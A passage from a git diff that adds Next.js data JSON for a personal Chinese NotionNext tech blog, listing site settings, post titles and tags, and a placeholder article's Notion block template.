2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed&width=800&fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""}]},"__N_SSG":true}
\ No newline at end of file
diff --git a/_next/data/mm0_cWkCfdum_vxo9wL_b/article/example-5.json b/_next/data/mm0_cWkCfdum_vxo9wL_b/article/example-5.json
new file mode 100644
index 000000000..ee8c405dc
--- /dev/null
+++ b/_next/data/mm0_cWkCfdum_vxo9wL_b/article/example-5.json
@@ -0,0 +1 @@
+{"pageProps":{"NOTION_CONFIG":{"AUTHOR":"Both Savage","BIO":"talk is cheap","TITLE":"Both Savage","DESCRIPTION":"talk is cheap","LINK":"https://bothsavage.github.io/","THEME":"gitbook","CAN_COPY":"true","SINCE":"2024","CONTACT_EMAIL":"bothsavage@163.com","CUSTOM_MENU":"true","CUSTOM_RIGHT_CLICK_CONTEXT_MENU":"false","LANG":"en-US","THEME_SWITCH":"true","POST_SHARE_BAR_ENABLE":"true"},"notice":null,"siteInfo":{"title":"Both Savage","description":"一个NotionNext搭建的博客","pageCover":"https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","icon":"https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fc5ebdc5a-c3fd-403e-906b-17d64db6d01f%2Ffavicon.ico?table=collection&id=3c6ddc29-47df-43f6-a375-de1c3a9cf466&t=3c6ddc29-47df-43f6-a375-de1c3a9cf466&width=800"},"allNavPages":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","title":"mac体验ollama本地大模型","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","category":"技术分享","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","slug":"article/240325-ollama","pageIcon":"🗒️","lastEditedDate":"2024-03-26T05:49:00.447Z"},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","title":"Arthas简单使用备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","category":"技术分享","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","slug":"article/240320-arthas","pageIcon":"🗒️","lastEditedDate":"2024-03-20T04:52:10.213Z"},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","title":"Xmrig挖矿入侵服务器排查","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","category":"技术分享","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","slug":"article/240319-xmrig","pageIcon":"🗒️","lastEditedDate":"2024-03-19T17:15:42.884Z"},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","title":"Java部署脚本&重启备份检查&配置环境","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","category":"技术分享","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","slug":"article/240124-deploy","pageIcon":"🗒️","lastEditedDate":"2024-01-24T07:18:46.139Z"},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","title":"解决SkyWalking在gateway中logback链路丢失","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","category":"技术分享","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","slug":"article/240121-skywaking","pageIcon":"🗒️","lastEditedDate":"2024-01-20T18:52:32.627Z"},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","title":"Notion文章自动同步GitPage","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed&width=800&fmt=webp","category":"技术分享","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","slug":"article/240119-notion","pageIcon":"📗","lastEditedDate":"2024-03-19T17:14:00.935Z"},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","title":"示例文章","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6&width=800&fmt=webp","category":"心情随笔","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/example","pageIcon":"🗓️","lastEditedDate":"2024-01-19T06:18:08.580Z"},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","title":"开始","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf&width=800&fmt=webp","category":"知行合一","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/begin","pageIcon":"🏐","lastEditedDate":"2024-01-19T09:15:24.923Z"}],"tagOptions":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","name":"推荐","color":"red","count":8},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","name":"文字","color":"brown","count":2},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","name":"工具","color":"pink","count":4},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","name":"开发","color":"pink","count":3},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","name":"建站","color":"brown","count":4},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","name":"docker","color":"gray","count":1},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","name":"自动化","color":"blue","count":2},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","name":"折腾","color":"purple","count":2},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","name":"git","color":"default","count":1},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","name":"日志","color":"red","count":1},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","name":"微服务","color":"red","count":2},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","name":"spring","color":"purple","count":1},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","name":"skywalking","color":"blue","count":1}],"categoryOptions":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","name":"知行合一","color":"pink","count":1},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","name":"技术分享","color":"purple","count":6},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","name":"心情随笔","color":"orange","count":1}],"customNav":[{"icon":"fas fa-home","name":"主页","to":"//","target":"_self","show":true}],"customMenu":[{"id":"5263856d-837a-4f2d-bfc6-24cbff6c946c","icon":"fab fa-github","date":{"start_date":"2021-03-13"},"type":"Menu","slug":"https://github.com/BOTHSAVAGE","summary":"这是一个指向外部地址的单页","title":"Github","status":"Published","category":"","publishDate":1615593600000,"publishDay":"Mar 13, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"https://github.com/BOTHSAVAGE","name":"Github","password":"","show":true,"target":"_blank"},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"Mar 23, 2023","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]}],"postCount":8,"latestPosts":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed&width=800&fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本&重启备份检查&配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""}],"post":{"id":"973ede9c-1a10-4482-be06-324fd481d34f","date":{"start_date":"2021-07-02"},"type":"Post","category":"未发布","slug":"article/example-5","tags":["健康","推荐"],"summary":"仅供列表展示、文章无内容,仅供列表展示、文章无内容,仅供列表展示、文章无内容,仅供列表展示、文章无内容,仅供列表展示、文章无内容,仅供列表展示、文章无内容,仅供列表展示、文章无内容,仅供列表展示、文章无内容,仅供列表展示、文章无内容,仅供列表展示、文章无内容,仅供列表展示、文章无内容,仅供列表展示、文章无内容","title":"空白文章5","status":"Invisible","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-19T02:19:53.512Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://images.unsplash.com/photo-1495446815901-a7297e633e8d?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=973ede9c-1a10-4482-be06-324fd481d34f","pageCoverThumbnail":"https://images.unsplash.com/photo-1495446815901-a7297e633e8d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=973ede9c-1a10-4482-be06-324fd481d34f&width=800&fmt=webp","tagItems":[{"name":"健康","color":"pink"},{"name":"推荐","color":"red"}],"password":"","blockMap":{"block":{"973ede9c-1a10-4482-be06-324fd481d34f":{"value":{"id":"973ede9c-1a10-4482-be06-324fd481d34f","version":7,"type":"page","content":["97b83613-915a-4ab9-b3bd-d68db83d3dfe","76627ca2-ce5d-4b07-8adb-1d2baaceca38","3ef21e28-96e0-4b50-8043-d771fe23d0fc","95094071-4dd0-4628-86a6-d07b52bb9067","0460e20c-39fa-4594-801c-8f753bea4b61","44ea8fdc-6fe8-450d-af6d-f2d982217321","9662722c-31b7-4302-852b-2fe7427cc937","acb29127-3d87-47df-99c5-f56f06aab68f","c63c1c5f-6238-4bc9-a8e6-b6fe8f6ca5d5","be3b1067-d077-4577-98b1-11c956cdafec","317692a5-d6ee-4280-a4ab-f2dfce327b3d","1f01e029-d2df-4c21-b861-37b1d26b4f34","1c513562-34eb-47dc-8f40-84dcc70cda9f","9f57a9c3-c1c0-4855-be67-6f499b8416fd"],"format":{"page_font":"mono","page_icon":"🗒️","page_cover":"https://images.unsplash.com/photo-1495446815901-a7297e633e8d?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb","block_locked":false,"block_locked_by":"27074aef-7216-41ed-baef-d9b53addd870","copied_from_pointer":{"id":"34bd81fe-b03a-4186-adfd-d51b94463aa0","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"page_cover_position":0.5},"created_time":1705594337111,"last_edited_time":1705630793512,"parent_id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","parent_table":"collection","alive":true,"copied_from":"34bd81fe-b03a-4186-adfd-d51b94463aa0","created_by_table":"notion_user","created_by_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16","last_edited_by_table":"notion_user","last_edited_by_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16","space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"87ff73a8-1273-4f5f-96c1-cd1becb07207":{"value":{"id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","type":"collection_view_page","content":["50fa88a0-6936-488c-8abc-b558b6a7b0d6"],"view_ids":["8e40545c-4d1c-4299-8605-c04d7ab6872f","818d9fe2-a27d-40ec-b827-614939109ca4","ad494b39-a38c-415e-9221-325f0f9be280","58c6fb90-5030-4627-8bad-38b57c3253cd"],"collection_id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","format":{"block_locked":false,"block_locked_by":"27074aef-7216-41ed-baef-d9b53addd870","collection_pointer":{"id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","table":"collection","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"copied_from_pointer":{"id":"19c33d8c-a320-4635-ab97-ddf00a96c478","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"page_cover_position":0.6},"permissions":[{"role":"editor","type":"user_permission","user_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16"},{"role":"comment_only","type":"public_permission","added_timestamp":1705594424869,"allow_duplicate":false,"allow_search_engine_indexing":true}],"created_time":1705594337173,"last_edited_time":1711431614088,"parent_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175","parent_table":"space","alive":true,"copied_from":"19c33d8c-a320-4635-ab97-ddf00a96c478"}},"97b83613-915a-4ab9-b3bd-d68db83d3dfe":{"value":{"id":"97b83613-915a-4ab9-b3bd-d68db83d3dfe","type":"callout","properties":{"title":[["这里写文章的前言:\n一个简单的开头,简述这篇文章讨论的问题、目标、人物、背景是什么?并简述你给出的答案。"]]},"content":["ec4d6982-b479-4cd8-83e3-0decb842bb37"],"format":{"page_icon":"😀","block_color":"gray_background","copied_from_pointer":{"id":"b67e0749-258c-4857-ba08-53489734171d","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337119,"last_edited_time":1705594337119,"parent_id":"973ede9c-1a10-4482-be06-324fd481d34f","parent_table":"block","alive":true,"copied_from":"b67e0749-258c-4857-ba08-53489734171d"}},"ec4d6982-b479-4cd8-83e3-0decb842bb37":{"value":{"id":"ec4d6982-b479-4cd8-83e3-0decb842bb37","type":"text","properties":{"title":[["可以说说你的故事:阻碍、努力、结果成果,意外与转折。"]]},"format":{"copied_from_pointer":{"id":"86d4fc22-f951-4316-8dbf-7dc0c54d1a4f","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337156,"last_edited_time":1705594337156,"parent_id":"97b83613-915a-4ab9-b3bd-d68db83d3dfe","parent_table":"block","alive":true,"copied_from":"86d4fc22-f951-4316-8dbf-7dc0c54d1a4f"}},"76627ca2-ce5d-4b07-8adb-1d2baaceca38":{"value":{"id":"76627ca2-ce5d-4b07-8adb-1d2baaceca38","type":"text","format":{"copied_from_pointer":{"id":"8c180aeb-a4a7-41e2-8409-1023db2273ec","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337118,"last_edited_time":1705594337118,"parent_id":"973ede9c-1a10-4482-be06-324fd481d34f","parent_table":"block","alive":true,"copied_from":"8c180aeb-a4a7-41e2-8409-1023db2273ec"}},"3ef21e28-96e0-4b50-8043-d771fe23d0fc":{"value":{"id":"3ef21e28-96e0-4b50-8043-d771fe23d0fc","type":"header","properties":{"title":[["📝 主旨内容"]]},"format":{"copied_from_pointer":{"id":"ccdbf954-5571-4ea0-8990-279b4345a859","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337119,"last_edited_time":1705594337119,"parent_id":"973ede9c-1a10-4482-be06-324fd481d34f","parent_table":"block","alive":true,"copied_from":"ccdbf954-5571-4ea0-8990-279b4345a859"}},"95094071-4dd0-4628-86a6-d07b52bb9067":{"value":{"id":"95094071-4dd0-4628-86a6-d07b52bb9067","type":"sub_header","properties":{"title":[["观点1"]]},"format":{"copied_from_pointer":{"id":"e85e174c-0944-4404-9186-a1e22e0d29dc","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337119,"last_edited_time":1705594337119,"parent_id":"973ede9c-1a10-4482-be06-324fd481d34f","parent_table":"block","alive":true,"copied_from":"e85e174c-0944-4404-9186-a1e22e0d29dc"}},"0460e20c-39fa-4594-801c-8f753bea4b61":{"value":{"id":"0460e20c-39fa-4594-801c-8f753bea4b61","type":"quote","properties":{"title":[["引用的话语"]]},"format":{"copied_from_pointer":{"id":"56654ee4-e22b-46b9-aa23-c09899f6dc3c","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337118,"last_edited_time":1705594337118,"parent_id":"973ede9c-1a10-4482-be06-324fd481d34f","parent_table":"block","alive":true,"copied_from":"56654ee4-e22b-46b9-aa23-c09899f6dc3c"}},"44ea8fdc-6fe8-450d-af6d-f2d982217321":{"value":{"id":"44ea8fdc-6fe8-450d-af6d-f2d982217321","type":"sub_header","properties":{"title":[["观点2"]]},"format":{"copied_from_pointer":{"id":"0d0c4b6e-9dd9-4ef3-a8ff-d54048b6b7c1","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337118,"last_edited_time":1705594337118,"parent_id":"973ede9c-1a10-4482-be06-324fd481d34f","parent_table":"block","alive":true,"copied_from":"0d0c4b6e-9dd9-4ef3-a8ff-d54048b6b7c1"}},"9662722c-31b7-4302-852b-2fe7427cc937":{"value":{"id":"9662722c-31b7-4302-852b-2fe7427cc937","type":"quote","properties":{"title":[["引用的话语"]]},"format":{"copied_from_pointer":{"id":"158af8f8-e821-4650-b339-855c4fde959c","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337118,"last_edited_time":1705594337118,"parent_id":"973ede9c-1a10-4482-be06-324fd481d34f","parent_table":"block","alive":true,"copied_from":"158af8f8-e821-4650-b339-855c4fde959c"}},"acb29127-3d87-47df-99c5-f56f06aab68f":{"value":{"id":"acb29127-3d87-47df-99c5-f56f06aab68f","type":"header","properties":{"title":[["🤗 总结归纳"]]},"format":{"copied_from_pointer":{"id":"7889a079-b667-4d4b-b03e-3a0636e2c604","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337118,"last_edited_time":1705594337118,"parent_id":"973ede9c-1a10-4482-be06-324fd481d34f","parent_table":"block","alive":true,"copied_from":"7889a079-b667-4d4b-b03e-3a0636e2c604"}},"c63c1c5f-6238-4bc9-a8e6-b6fe8f6ca5d5":{"value":{"id":"c63c1c5f-6238-4bc9-a8e6-b6fe8f6ca5d5","type":"text","properties":{"title":[["总结文章的内容"]]},"format":{"copied_from_pointer":{"id":"362ba40a-88a2-4a14-b90e-662d27139ea5","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337118,"last_edited_time":1705594337118,"parent_id":"973ede9c-1a10-4482-be06-324fd481d34f","parent_table":"block","alive":true,"copied_from":"362ba40a-88a2-4a14-b90e-662d27139ea5"}},"be3b1067-d077-4577-98b1-11c956cdafec":{"value":{"id":"be3b1067-d077-4577-98b1-11c956cdafec","type":"header","properties":{"title":[["📎 参考文章"]]},"format":{"copied_from_pointer":{"id":"93197208-c9a4-48b0-aa20-6ace5dc3a8c3","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337118,"last_edited_time":1705594337118,"parent_id":"973ede9c-1a10-4482-be06-324fd481d34f","parent_table":"block","alive":true,"copied_from":"93197208-c9a4-48b0-aa20-6ace5dc3a8c3"}},"317692a5-d6ee-4280-a4ab-f2dfce327b3d":{"value":{"id":"317692a5-d6ee-4280-a4ab-f2dfce327b3d","type":"bulleted_list","properties":{"title":[["一些引用"]]},"format":{"copied_from_pointer":{"id":"a93476d2-ce30-48eb-8062-1cb1bc961f2c","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337118,"last_edited_time":1705594337118,"parent_id":"973ede9c-1a10-4482-be06-324fd481d34f","parent_table":"block","alive":true,"copied_from":"a93476d2-ce30-48eb-8062-1cb1bc961f2c"}},"1f01e029-d2df-4c21-b861-37b1d26b4f34":{"value":{"id":"1f01e029-d2df-4c21-b861-37b1d26b4f34","type":"bulleted_list","properties":{"title":[["引用文章"]]},"format":{"copied_from_poin